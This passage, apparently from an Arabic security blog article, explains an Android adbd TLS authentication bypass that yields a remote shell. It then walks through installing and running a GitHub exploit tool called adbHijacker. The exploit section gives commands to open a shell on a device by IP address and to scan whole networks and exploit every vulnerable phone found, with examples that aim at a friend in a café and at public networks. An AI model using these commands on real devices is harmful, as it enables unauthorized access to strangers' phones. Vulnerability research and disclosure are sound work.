وفي هذه اللحظة يستخرج الجني الصغير المفتاح العام من الشهادة التي قُدِّمت إليه، ثم يفعل ما قد سبق توضيحه، وفي أثناء عمله تُستدعى الوظيفة adbd_tls_verify_cert، وهنا تلتقي الطبقات جميعًا: فطبقة ADB أوصلت الباحث إلى أول الباب، وطبقة TLS حملت الشهادة والمفتاح العام، وطبقة الثقة استخرجت المفتاح المعروف من سجل الاقتران.
ولا تتوهم أن الثغرة تنتهي هاهنا، وأن المخترق أو الباحث ما إن يخدع المصادقة حتى يصبح سيد الهاتف في الحال، كلَّا، فما جرى حتى الآن لم يكن إلا اجتياز الحارس وأما القصر فما يزال وراءه، ذلك أن نجاح مصافحة TLS لا يعني أن الهاتف بدأ بتنفيذ الأوامر، وإنما يعني فقط أن adbd اقتنع -خطأً- بأن الطرف الآخر جهاز موثوق فسمح له بالاستمرار.
وعند هذه اللحظة ينتهي دور TLS بوصفه وسيلة للمصادقة والتعمية، ويعود ميفاق ADB إلى الواجهة مرة أخرى، لكن هذه المرة داخل القناة المُعمَّاة التي أُنشأت لتوها، وكأن الطرفين قد انتقلا من الحديث في الساحة العامة إلى غرفة مغلقة، ثم استأنفا الحوار نفسه الذي كانا يتحدثانه من قبل.

بدء جلسة المِظراف shell
أول ما ينتظر الباحث بعد نجاح المصافحة هو استئناف تبادل رزم ADB داخل القناة المُعمَّاة، ثم طلب الخدمة التي يريدها، وكانت الخدمة المختارة في تجربة الباحث هي المِظراف Shell، لأنها أحسن دليل على نجاح الاستغلال، وأوضح برهان على أن تجاوز المصادقة تحول صدقًا إلى تنفيذ أوامر على الهاتف.
أستنأنف الباحث ذلك وأرسل رسالة ADB كانت:
OPEN "shell:x00"OPEN "shell:x00"ومعناها: افتح لي جلسة مِظراف Shell على الهاتف، حتى أنفِّذ عليه أوامرًا أريدها.
فإذا بالهاتف يقبلها ويرد برسالة:
OKAYOKAYأي نجح الأمر! تخطى المصادقة وصارت له سلطة المستخدم (uid=2000) لينفذ الأوامر التي يشاء. وهذا النجاح دليل على تمام البنية الصحيحة لحزم ADB، ودقة التوقيت في الانتقال إلى TLS، ووصول الشهادة إلى نوعها الموجب للمقارنة بين المفتاحين المختلفين، والمحافظة على الجلسة ADB سليمة بعد المصافحة = وعند اجتماع هذه الشروط كلها يصبح تجاوز المصادقة تنفيذًا حقيقيًّا للأوامر.
وهذا هو السبب في أن الثغرة كانت سهلة الفهم على الورق، لكنها عسيرة الاستغلال في الواقع، فالعلة نفسها كانت سطرًا واحدًا، أما الوصول إلى ذلك السطر واستثماره فكان رحلة كاملة عبر طبقات البرمجية ومساراتها الداخلية حتى ينتهي الأمر بفتح مظراف Shell على هاتف الضحية وكأن المهاجم يجلس أمامه ممسكًا به بين يديه.
أداة الاستغلال
وها قد انتهت بنا الرحلة الطويلة، وقد حلَّت رحالنا هاهنا، بعد أن فهمنا الخلل في شريان adbd نفسه، وحان وقت أن نرى كيف سخرها العقل المبرمج في قالب أداة تستغلها، وقد عثرت في متاهات GitHub على أداتين تستحقان الوقوف عندهما، وأشاركك واحدة منهما اسمها adbHijacker. وحتى لا أطيل عليك أكثر فاعلم أن للثغرة شروطًا لا بد من اجتماعها حتى تستغلها هي:
- أن يكون المطور قد فتح أبواب هاتفه، ففعّل خيارات المطوِّر
- وأن يكون التصحيح الشبكي مفعلاً، سواء عبر التصحيح غير السلكي
Wireless debuggingأو بأي طريق آخر يُخرج خدمةadbdإلى الشبكة، سواء على منفذها المعروف 5555 أو أي منفذ آخر، والمهم هو وصول المخترق إلى الخدمة ذاتها - وأن يكون الهاتف قد اقترن من قبل بحاسوب ما، فخُزِّن مفتاح RSA له في سجل الثقة (
)K فإن لم يكن هناك مفتاح لم تجد الوظيفة ما تقارن بهdata/misc/adb/adb_keys/ - وأن يتمكن المخترق من الوصول إلى منفذ ADB في الهاتف، سواء كان على الشبكة المحلية أو في أي بيئة نُشرت فيها الخدمة على منفذها المكشوف
ولتكن على بينةٍ من أمرك، فإن هذه الثغرة -وفق النشرة الأمنية الرسمية الصادرة عن جوجل في مايو ٢٠٢٦م- قد حُددت إصاباتها في الأجيال الأحدث من نظام أندرويد، وهي: أندرويد ١٤، وأندرويد ١٥، وأندرويد ١٦، وأندرويد ١٦ QPR2. وشرطُ الإصابة أن يكون مستوى تصحيح الجهاز الأمني أقدم من ١ مايو ٢٠٢٦م، وهو التاريخ الذي أصدرت فيه جوجل التصحيح الأمني للثغرة، أي قبل قرابة الشهرين من كتابة هذا المقال.
وقد قيل في بعض المصادر أن الثغرة شملت أندرويد ١١ و ١٢ و ١٣، لكن لم تدرجها النشرة الرسمية ضمن لائحة الإصدارات المتضررة وإن كان مسار CNXN -> STLS -> TLS الذي تستغله الثغرة قد ظهر بدءًا من أندرويد ١١، ولذلك يبقى من غير الجائز الجزم بعدم تأثر الإصدارات الأقدم، ونترك لك التجربة وإثبات المعلومة أو نفيها أيها المبعسس!
أداة الاستغلال adbHijacker
هذه الأداة جمعت بين الاستغلال للثغرة ومع التفتيش في الشبكة عن الأجهزة المصابة، كأن تكون في مقهى أو شبكة عامة وتبحث عن أجهزة مصابة.. أي أنها جعلت من اكتشاف الأجهزة الضعيفة واستغلالها أمرًا مُيسرًا، سأشرح لك طريقة تثبيتها وأهم الأوامر فيها وأترك لك حرية تجربتها والبعسسة فيها لترى مميازاتها وأوامرها…
لتحميلها استنسخ المستودع إلى جهازك بالأمر التالي:
git clone https://github.com/unnaim/adbHijacker.git
cd adbHijackergit clone https://github.com/unnaim/adbHijacker.gitcd adbHijacker
ثم هيئ البيئة الافتراضية وحمِّل الاعتماديات المطلوبة لتشغيلها:
uv venv
source .venv/bin/activate
uv pip install -r requirements.txtuv venvsource .venv/bin/activate
uv pip install -r requirements.txt
طريقة الاستعمال
للأداة لها أحوال في العمل، وأول حال لها هو استغلال جهاز واحدوهو أيسر الطريقين، فإن كنت تعرف عنوان الجهاز المستهدف في الشبكة -كأن يكون صديقك جالساً في المقهى نفسه معك- فاستخدم الأداة هكذا:
# لفتح مظراف تفاعلي
python3 adb_tls_auth_bypass.py 192.168.1.42
# أو لتنفيذ أمر واحد ثم الانصراف
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 –cmd "id"
# لفتح مظراف تفاعليpython3 adb_tls_auth_bypass.py 192.168.1.42
# أو لتنفيذ أمر واحد ثم الانصراف
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 –cmd "id"
الأمر الأول يفتح مِظرافًا تفاعليًا تكتب له أمرًا وينفذه لك ثم يعيد الكرَّة بسؤالك: "ادخل أمرًا"… وهو مساوٍ لكتابتك أمر adb shell، أما الأمر الآخر يشغل لك أمرًا وحيدًا ثم يتوقف ولا يفتح لك مِظرافًا تفاعليًّا. وقد تشغل أكثر من أمر بفصلها عن بعضها بفاصلة رأسية كما في هذا المثال:
python3 adbt_scanner.py 192.168.1.42 –cmd "id; getprop ro.product.model"python3 adbt_scanner.py 192.168.1.42 –cmd "id; getprop ro.product.model"والحال الآخر للأداة هو المسح الشامل للشبكة والاستغلال من تلقاء نفسها، وهذا الحال أمضى وأقوى لأن الأداة ترسل عيونها في كل الشبكة، فلا تكتفي باستهداف جهاز بعينه، وتذهب تبحث في كل زاوية تقرع أبواب المنافذ واحدًا واحدًا حتى تعثر على فريسة، ودونك الأوامر مع شرحها مُرفقًا معها:
# مسح كامل للشبكة واستغلال كل ما يُعثر عليه
python3 adbt_scanner.py –scan
# مسح وتنفيذ أمر محدد على جميع الأجهزة المكتشفة
python3 adbt_scanner.py –scan –cmd "id; getprop ro.build.version.security_patch"
# اكتشاف فقط دون استغلال (للتجسس قبل الإغارة)
python3 adbt_scanner.py –scan –no-exploit
# مسح كامل للشبكة واستغلال كل ما يُعثر عليهpython3 adbt_scanner.py –scan
# مسح وتنفيذ أمر محدد على جميع الأجهزة المكتشفة
python3 adbt_scanner.py –scan –cmd "id; getprop ro.build.version.security_patch"
# اكتشاف فقط دون استغلال (للتجسس قبل الإغارة)
python3 adbt_scanner.py –scan –no-exploit
من أراد التعمق أكثر، فليقرأ ملف technical_analysis.md في مستودع الأداة نفسه، ففيه تفاصيل وافية لمن شاء التوسع…
الختام
لقد رأينا -أيها المبعسس- كيف أن ثغرةً واحدةً سببها سطر واحد، وسوء فهم لوظيفة ترجع قيمًا متعددة = قادت إلى كارثة أمنية تطال ألوفًا مؤلفة من الأجهزة، فأليس هذا هو عين ما قاله «المرشد» منذ عقود؟ إنه الفضول والفهم!
بقدر ما يفهم المخترق كيف يخترق، بقدر ما يفهم المطور كيف يحمي، وبقدر ما يفهم المستخدم كيف يحترس…
وهكذا نكون قد أتممنا مقالتنا على خير، نازلين عند ما عقدنا عليه العزم من قبل، سائرين على هدي البعسسة، التي ما هي إلا «الفضول والفهم»، ثم «الفضول والفهم»، ثم «الفضول والفهم».
والسلام عليكم ورحمة الله وبركاته.